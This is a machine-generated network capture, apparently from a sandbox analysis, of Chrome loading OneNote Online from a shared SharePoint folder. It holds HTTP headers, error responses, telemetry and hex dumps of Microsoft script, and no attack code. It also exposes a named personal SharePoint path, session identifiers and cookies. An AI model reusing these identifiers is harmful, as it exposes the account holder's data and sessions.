2024-04-26 07:59:23 UTC	16383	IN	Data Raw: 2c 74 3d 28 72 3d 79 29 2e 61 63 63 65 73 73 54 6f 6b 65 6e 45 78 70 69 72 79 2c 28 6f 3d 72 5b 6e 2e 63 68 61 72 41 74 28 30 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2b 6e 2e 73 6c 69 63 65 28 31 29 5d 29 3f 7b 4e 61 6d 65 3a 6e 2c 45 78 70 69 72 79 3a 74 2c 56 61 6c 75 65 3a 6f 2e 74 6f 53 74 72 69 6e 67 28 29 7d 3a 7b 4e 61 6d 65 3a 6e 2c 45 72 72 6f 72 73 3a 5b 7b 49 64 3a 22 34 30 34 22 2c 44 65 74 61 69 6c 73 3a 22 43 6f 75 6c 64 20 6e 6f 74 20 66 69 6e 64 20 74 68 69 73 20 74 6f 6b 65 6e 22 7d 5d 7d 3b 76 61 72 20 6e 2c 72 2c 74 2c 6f 7d 29 29 2c 6e 75 6c 6c 3d 3d 62 7c 7c 62 2e 72 65 63 6f 72 64 4b 70 69 53 75 63 63 65 73 73 28 61 2e 79 76 2e 70 29 2c 28 30 2c 47 2e 52 29 28 67 2e 4b 58 2e 50 6f 73 74 4d 65 73 73 61 67 65 5f 52 65 66 72 65 73 Data Ascii: ,t=(r=y).accessTokenExpiry,(o=r[n.charAt(0).toLowerCase()+n.slice(1)])?{Name:n,Expiry:t,Value:o.toString()}:{Name:n,Errors:[{Id:"404",Details:"Could not find this token"}]};var n,r,t,o})),null==b\|\|b.recordKpiSuccess(a.yv.p),(0,G.R)(g.KX.PostMessage_Refres
2024-04-26 07:59:23 UTC	10879	IN	Data Raw: 73 65 6e 74 28 29 2c 5b 33 2c 34 5d 3b 63 61 73 65 20 33 3a 72 65 74 75 72 6e 20 4c 3d 71 2e 73 65 6e 74 28 29 2c 6b 28 4c 2c 7b 65 72 72 6f 72 3a 6f 2e 68 2e 61 75 74 68 46 61 69 6c 75 72 65 7d 29 2c 5b 33 2c 34 5d 3b 63 61 73 65 20 34 3a 72 65 74 75 72 6e 20 6e 3f 28 41 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 72 3d 22 33 32 30 70 78 22 3b 73 77 69 74 63 68 28 65 29 7b 63 61 73 65 20 6f 2e 47 2e 53 68 61 72 65 3a 72 65 74 75 72 6e 7b 77 69 64 74 68 3a 72 2c 68 65 69 67 68 74 3a 22 34 30 30 70 78 22 7d 3b 63 61 73 65 20 6f 2e 47 2e 43 6f 70 79 4c 69 6e 6b 3a 63 61 73 65 20 6f 2e 47 2e 41 74 4d 65 6e 74 69 6f 6e 3a 72 65 74 75 72 6e 7b 77 69 64 74 68 3a 72 2c 68 65 69 67 68 74 3a 22 32 33 38 70 78 22 7d 3b 64 65 66 61 75 6c 74 3a 72 65 74 Data Ascii: sent(),[3,4];case 3:return L=q.sent(),k(L,{error:o.h.authFailure}),[3,4];case 4:return n?(A(function(e,n){var r="320px";switch(e){case o.G.Share:return{width:r,height:"400px"};case o.G.CopyLink:case o.G.AtMention:return{width:r,height:"238px"};default:ret

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49846	52.108.8.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:23 UTC	1450	OUT	GET /o/App_Scripts/Acl/Acl1033.js HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://usc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fusigroups-my.sharepoint.com%2Fpersonal%2Fjs_usigroups_com%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&wdenableroaming=1&mscc=1&wdodb=1&hid=72B922A1-508D-5000-1E3F-AB9FC2BA975E.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Fusigroups-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1714118346761&jsapi=1&jsapiver=v1&newsession=1&corrid=d19e0541-59c5-9a5e-8e10-18de22c9153f&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&readonly=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1
2024-04-26 07:59:23 UTC	1019	IN	HTTP/1.1 200 OK Cache-Control: public,max-age=31536000 Content-Length: 19181 Content-Type: application/javascript Last-Modified: Sun, 07 Apr 2024 07:47:04 GMT Accept-Ranges: bytes ETag: "8079cbc8bf88da1:0" P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 4ac6e60b-95ff-4640-8d9b-c81a7893fb84 X-UserSessionId: 4ac6e60b-95ff-4640-8d9b-c81a7893fb84 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF0000A1AD X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true X-OFFICEFD: SN3PEPF0000A1AD X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: DCD7AB35DAF549379697D6C03DCC8B55 Ref B: MIA301000105053 Ref C: 2024-04-26T07:59:23Z Date: Fri, 26 Apr 2024 07:59:22 GMT Connection: close
2024-04-26 07:59:23 UTC	3847	IN	Data Raw: ef bb bf 76 61 72 20 41 75 74 6f 43 6f 72 72 65 63 74 4c 69 73 74 3d 7b 22 28 63 29 22 3a 22 c2 a9 22 2c 22 28 72 29 22 3a 22 c2 ae 22 2c 22 28 74 6d 29 22 3a 22 e2 84 a2 22 2c 22 2e 2e 2e 22 3a 22 e2 80 a6 22 2c 22 61 62 62 6f 75 74 22 3a 22 61 62 6f 75 74 22 2c 22 61 62 6f 74 75 22 3a 22 61 62 6f 75 74 22 2c 22 61 62 6f 75 74 61 22 3a 22 61 62 6f 75 74 20 61 22 2c 22 61 62 6f 75 74 69 74 22 3a 22 61 62 6f 75 74 20 69 74 22 2c 22 61 62 6f 75 74 74 68 65 22 3a 22 61 62 6f 75 74 20 74 68 65 22 2c 22 61 62 73 63 65 6e 63 65 22 3a 22 61 62 73 65 6e 63 65 22 2c 22 61 63 63 65 73 6f 72 69 65 73 22 3a 22 61 63 63 65 73 73 6f 72 69 65 73 22 2c 22 61 63 63 69 64 61 6e 74 22 3a 22 61 63 63 69 64 65 6e 74 22 2c 22 61 63 63 6f 6d 6f 64 61 74 65 22 3a 22 61 63 63 6f Data Ascii: var AutoCorrectList={"(c)":"","(r)":"","(tm)":"","...":"","abbout":"about","abotu":"about","abouta":"about a","aboutit":"about it","aboutthe":"about the","abscence":"absence","accesories":"accessories","accidant":"accident","accomodate":"acco
2024-04-26 07:59:23 UTC	8192	IN	Data Raw: 6f 6d 6d 69 74 74 65 65 22 2c 22 63 6f 6d 6e 74 61 69 6e 22 3a 22 63 6f 6e 74 61 69 6e 22 2c 22 63 6f 6d 6e 74 61 69 6e 73 22 3a 22 63 6f 6e 74 61 69 6e 73 22 2c 22 63 6f 6d 70 61 69 72 22 3a 22 63 6f 6d 70 61 72 65 22 2c 22 63 6f 6d 70 61 6e 79 3b 73 22 3a 22 63 6f 6d 70 61 6e 79 e2 80 99 73 22 2c 22 63 6f 6d 70 6c 65 61 74 65 64 22 3a 22 63 6f 6d 70 6c 65 74 65 64 22 2c 22 63 6f 6d 70 6c 65 61 74 6c 79 22 3a 22 63 6f 6d 70 6c 65 74 65 6c 79 22 2c 22 63 6f 6d 70 6c 65 61 74 6e 65 73 73 22 3a 22 63 6f 6d 70 6c 65 74 65 6e 65 73 73 22 2c 22 63 6f 6d 70 6c 65 74 6c 79 22 3a 22 63 6f 6d 70 6c 65 74 65 6c 79 22 2c 22 63 6f 6d 70 6c 65 74 6e 65 73 73 22 3a 22 63 6f 6d 70 6c 65 74 65 6e 65 73 73 22 2c 22 63 6f 6d 70 6f 73 61 74 65 22 3a 22 63 6f 6d 70 6f 73 69 Data Ascii: ommittee","comntain":"contain","comntains":"contains","compair":"compare","company;s":"companys","compleated":"completed","compleatly":"completely","compleatness":"completeness","completly":"completely","completness":"completeness","composate":"composi
2024-04-26 07:59:23 UTC	3610	IN	Data Raw: 22 6f 70 70 6f 73 61 62 6c 65 22 2c 22 6f 70 70 6f 73 69 74 22 3a 22 6f 70 70 6f 73 69 74 65 22 2c 22 6f 70 70 6f 74 75 6e 69 74 69 65 73 22 3a 22 6f 70 70 6f 72 74 75 6e 69 74 69 65 73 22 2c 22 6f 70 70 6f 74 75 6e 69 74 79 22 3a 22 6f 70 70 6f 72 74 75 6e 69 74 79 22 2c 22 6f 72 67 69 6e 69 7a 61 74 69 6f 6e 22 3a 22 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 2c 22 6f 72 67 69 6e 69 7a 65 64 22 3a 22 6f 72 67 61 6e 69 7a 65 64 22 2c 22 6f 74 65 68 72 22 3a 22 6f 74 68 65 72 22 2c 22 6f 74 75 22 3a 22 6f 75 74 22 2c 22 6f 75 74 6f 66 22 3a 22 6f 75 74 20 6f 66 22 2c 22 6f 76 65 72 74 68 65 22 3a 22 6f 76 65 72 20 74 68 65 22 2c 22 6f 77 72 6b 22 3a 22 77 6f 72 6b 22 2c 22 6f 77 75 6c 64 22 3a 22 77 6f 75 6c 64 22 2c 22 6f 78 69 64 65 6e 74 22 3a 22 6f 78 69 Data Ascii: "opposable","opposit":"opposite","oppotunities":"opportunities","oppotunity":"opportunity","orginization":"organization","orginized":"organized","otehr":"other","otu":"out","outof":"out of","overthe":"over the","owrk":"work","owuld":"would","oxident":"oxi
2024-04-26 07:59:23 UTC	3532	IN	Data Raw: 22 73 75 63 63 65 73 73 66 75 6c 22 2c 22 73 75 66 66 69 63 69 61 6e 74 22 3a 22 73 75 66 66 69 63 69 65 6e 74 22 2c 22 73 75 70 6f 73 65 64 22 3a 22 73 75 70 70 6f 73 65 64 22 2c 22 73 75 70 70 6f 73 73 65 64 22 3a 22 73 75 70 70 6f 73 65 64 22 2c 22 73 75 70 72 69 73 65 22 3a 22 73 75 72 70 72 69 73 65 22 2c 22 73 75 70 72 69 73 65 64 22 3a 22 73 75 72 70 72 69 73 65 64 22 2c 22 73 77 69 6d 69 6e 67 22 3a 22 73 77 69 6d 6d 69 6e 67 22 2c 22 74 61 68 6e 22 3a 22 74 68 61 6e 22 2c 22 74 61 68 74 22 3a 22 74 68 61 74 22 2c 22 74 61 6c 65 6b 64 22 3a 22 74 61 6c 6b 65 64 22 2c 22 74 61 6c 6b 69 67 6e 22 3a 22 74 61 6c 6b 69 6e 67 22 2c 22 74 61 74 68 22 3a 22 74 68 61 74 22 2c 22 74 65 63 6e 69 63 61 6c 22 3a 22 74 65 63 68 6e 69 63 61 6c 22 2c 22 74 65 68 Data Ascii: "successful","sufficiant":"sufficient","suposed":"supposed","suppossed":"supposed","suprise":"surprise","suprised":"surprised","swiming":"swimming","tahn":"than","taht":"that","talekd":"talked","talkign":"talking","tath":"that","tecnical":"technical","teh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49854	52.108.9.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:23 UTC	645	OUT	GET /o/RemoteUls.ashx?build=16.0.17601.41008&waccluster=PUS6&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D
2024-04-26 07:59:24 UTC	4279	IN	HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Length: 1208 Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: da8a111a-86f6-4b83-9033-3151eb281536 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF000091C9 X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: BB46AA47C239D54223A049EA42FF1E429533F0DD X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42815875,42857251,50406866,50431969,51451613,51504083,51667010,306230939,306978834,507327905,507339026,507364812,507520519,507520520,507539972,507539975,507539978,507557069,507564317,507588834,507618451,507650051,507775183,507785752,507785753,507840355,507867611,507892672,508117090,508117091,508123353,508130721,508134499,508134530,508143303,508302418,508359368,508630474,508822424,508826841,508893266,508905682,509096994,509137349,509203553,509437535,509743362,510252435,512278607,512278610,512278979,512313551,512329346,512329348,512329356,512522335,512522337,512522368,512550663,512550665,520737606,520737607,520926864,520926865,520979847,521007315,521749855,522840207,523572700,523613141,524105113,524150164,524883107,524883136,524883138,528225985,528607428,537150367,537151647,537155398,537159041,537159051,537159499,537167070,537169937,537170394,538542792,538543587,539075678,539874723,540378699,540378700,542700237,542994947,545783884,545821457,553927448,557077970,557322386,557389507,557670930,558735363,559423838,559424262,559486496,559760215,559760216,560550470,570507662,571549507,571786073,571786074,572298008,572823264,573691362,574468116,575157663,575157664,575157665,575157666,575157667,575157696,575157697,575157698,575157699,575157700,575157701,575157702,577295376,577626581,577831138,578164000,587862985,589101015,589101018,591684683,591729363,592183378,592237859,592259104,592556551,592843145,593780815,593838232,593862981,594134597,594396706,594830612,595137156,595359709,595359710,595714715,595895774,596115913,596444186,596464289,845836083,845836084,845836085,846166132,876178018,876178789,947352439,963472182,963915891,1630679666,1630679667,1633958006,1647605351,1647863416,1664576567,1698260075,1718235956,1765045358,1802139698,1986689397,1986689633,1986689647,1986748791,1986748793,1986749030,1986749288,1986749546,2004443760,2004444278,2004448354 X-InvalidUlsJson: nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-MIA30r5d&DC=PUS6&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF000091C9 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wordslice,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 4A015BC083E041039E845C39344C5FEF Ref B: MIA301000108019 Ref C: 2024-04-26T07:59:23Z Date: Fri, 26 Apr 2024 07:59:23 GMT Connection: close
2024-04-26 07:59:24 UTC	1208	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 35 30 30 20 2d 20 49 6e 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>500 - Int

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49855	52.108.8.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:24 UTC	1672	OUT	POST /o/RemoteTelemetry.ashx?usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&build=16.0.17601.41008&waccluster=PUS6 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 40952 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://usc-onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://usc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fusigroups-my.sharepoint.com%2Fpersonal%2Fjs_usigroups_com%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&wdenableroaming=1&mscc=1&wdodb=1&hid=72B922A1-508D-5000-1E3F-AB9FC2BA975E.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Fusigroups-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1714118346761&jsapi=1&jsapiver=v1&newsession=1&corrid=d19e0541-59c5-9a5e-8e10-18de22c9153f&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&readonly=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D
2024-04-26 07:59:24 UTC	16384	OUT	Data Raw: 7b 22 64 22 3a 7b 22 61 22 3a 22 4f 6e 65 4e 6f 74 65 22 2c 22 62 22 3a 22 65 6e 2d 55 53 22 2c 22 63 22 3a 22 45 64 69 74 22 2c 22 64 22 3a 22 45 44 49 54 22 2c 22 65 22 3a 22 31 36 2e 30 2e 31 37 36 30 31 2e 34 31 30 30 38 22 2c 22 66 22 3a 22 43 68 72 6f 6d 65 22 2c 22 67 22 3a 22 65 6e 2d 55 53 22 2c 22 68 22 3a 22 31 31 37 22 2c 22 69 22 3a 22 31 31 37 2e 30 2e 30 22 2c 22 6a 22 3a 22 31 36 2e 30 2e 31 37 36 30 31 2e 34 31 30 30 38 22 2c 22 6b 22 3a 22 50 55 53 36 22 2c 22 6c 22 3a 22 65 6e 2d 55 53 22 2c 22 6d 22 3a 22 5c 22 58 2b 33 32 52 75 61 5a 71 79 33 59 61 32 39 48 69 70 33 30 34 6d 34 6b 38 63 45 72 31 76 49 71 54 57 37 37 65 44 62 63 43 57 55 3d 5c 22 22 2c 22 6e 22 3a 22 53 68 61 72 65 50 6f 69 6e 74 20 4f 6e 6c 69 6e 65 22 2c 22 6f 22 3a Data Ascii: {"d":{"a":"OneNote","b":"en-US","c":"Edit","d":"EDIT","e":"16.0.17601.41008","f":"Chrome","g":"en-US","h":"117","i":"117.0.0","j":"16.0.17601.41008","k":"PUS6","l":"en-US","m":"\"X+32RuaZqy3Ya29Hip304m4k8cEr1vIqTW77eDbcCWU=\"","n":"SharePoint Online","o":
2024-04-26 07:59:24 UTC	16384	OUT	Data Raw: 38 31 36 34 2e 31 39 39 39 39 39 39 39 39 39 38 32 35 2c 5c 22 64 6f 6d 61 69 6e 6c 6f 6f 6b 75 70 73 74 61 72 74 5c 22 3a 38 39 30 34 2e 33 39 39 39 39 39 39 39 39 39 39 34 2c 5c 22 64 6f 6d 61 69 6e 6c 6f 6f 6b 75 70 65 6e 64 5c 22 3a 38 39 30 34 2e 33 39 39 39 39 39 39 39 39 39 39 34 2c 5c 22 63 6f 6e 6e 65 63 74 73 74 61 72 74 5c 22 3a 38 39 30 34 2e 33 39 39 39 39 39 39 39 39 39 39 34 2c 5c 22 73 65 63 75 72 65 63 6f 6e 6e 65 63 74 69 6f 6e 73 74 61 72 74 5c 22 3a 38 39 30 34 2e 38 39 39 39 39 39 39 39 39 39 39 34 2c 5c 22 63 6f 6e 6e 65 63 74 65 6e 64 5c 22 3a 39 33 31 30 2e 32 39 39 39 39 39 39 39 39 39 38 38 2c 5c 22 72 65 71 75 65 73 74 73 74 61 72 74 5c 22 3a 39 33 31 30 2e 33 39 39 39 39 39 39 39 39 39 39 34 2c 5c 22 72 65 73 70 6f 6e 73 65 73 Data Ascii: 8164.1999999999825,\"domainlookupstart\":8904.399999999994,\"domainlookupend\":8904.399999999994,\"connectstart\":8904.399999999994,\"secureconnectionstart\":8904.899999999994,\"connectend\":9310.299999999988,\"requeststart\":9310.399999999994,\"responses
2024-04-26 07:59:24 UTC	8184	OUT	Data Raw: 39 38 32 35 2c 5c 22 73 74 61 72 74 54 69 6d 65 5c 22 3a 31 34 39 32 2e 32 39 39 39 39 39 39 39 39 39 38 38 34 2c 5c 22 66 65 74 63 68 53 74 61 72 74 5c 22 3a 31 34 39 32 2e 32 39 39 39 39 39 39 39 39 39 38 38 34 2c 5c 22 72 65 71 75 65 73 74 53 74 61 72 74 5c 22 3a 33 32 37 35 2c 5c 22 72 65 73 70 6f 6e 73 65 53 74 61 72 74 5c 22 3a 33 34 31 34 2e 36 30 30 30 30 30 30 30 30 30 30 36 2c 5c 22 72 65 73 70 6f 6e 73 65 45 6e 64 5c 22 3a 33 34 31 36 2e 31 30 30 30 30 30 30 30 30 30 30 36 2c 5c 22 6e 65 78 74 48 6f 70 50 72 6f 74 6f 63 6f 6c 5c 22 3a 5c 22 68 74 74 70 2f 31 2e 31 5c 22 2c 5c 22 74 72 61 6e 73 66 65 72 53 69 7a 65 5c 22 3a 36 32 34 39 7d 2c 5c 22 2f 42 6f 78 34 49 6e 74 6c 2e 6a 73 5c 22 3a 7b 5c 22 63 61 63 68 65 48 69 74 5c 22 3a 30 2c 5c 22 Data Ascii: 9825,\"startTime\":1492.2999999999884,\"fetchStart\":1492.2999999999884,\"requestStart\":3275,\"responseStart\":3414.600000000006,\"responseEnd\":3416.100000000006,\"nextHopProtocol\":\"http/1.1\",\"transferSize\":6249},\"/Box4Intl.js\":{\"cacheHit\":0,\"
2024-04-26 07:59:24 UTC	1072	IN	HTTP/1.1 200 OK Cache-Control: private P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: d0a672f3-813d-45bd-8c90-b5c03791c976 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF000091C1 X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://usc-onenote.officeapps.live.com X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF000091C1 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_pptcapacity_2_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 628492E1DCCB435DABA0AD445769CAB7 Ref B: MIA301000107025 Ref C: 2024-04-26T07:59:24Z Date: Fri, 26 Apr 2024 07:59:23 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49858	52.108.9.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:24 UTC	660	OUT	GET /afhs/CloudPolicySettings.ashx HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; PUS6-ARRAffinity=cef501cb080d3b02baa5afd04addeaae023ae53b0262f256a03a16339d1987de
2024-04-26 07:59:24 UTC	1240	IN	HTTP/1.1 500 Internal Server Error Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 1208 Content-Type: text/html Expires: -1 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: Set-Cookie: PUS9-ARRAffinity=ced079449095b2f8730f0411e34b3fe9a83a7283597ce6ca7087d95cbdd29929;Path=/;Domain=usc-onenote.officeapps.live.com; samesite=none; secure X-CorrelationId: 84b0d0c2-f18a-4baf-bd62-cabda83df777 X-UserSessionId: 84b0d0c2-f18a-4baf-bd62-cabda83df777 Strict-Transport-Security: max-age=31536000 X-OfficeFE: BN3PEPF0000894E X-OfficeVersion: 16.0.17614.41006 X-OfficeCluster: PUS9 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-Content-Type-Options: nosniff X-OFFICEFD: BN3PEPF00008835 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_pptcapacity_2,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: D6E85CB354CC41F7865E07A83904CAA1 Ref B: MIA301000107029 Ref C: 2024-04-26T07:59:24Z Date: Fri, 26 Apr 2024 07:59:24 GMT Connection: close
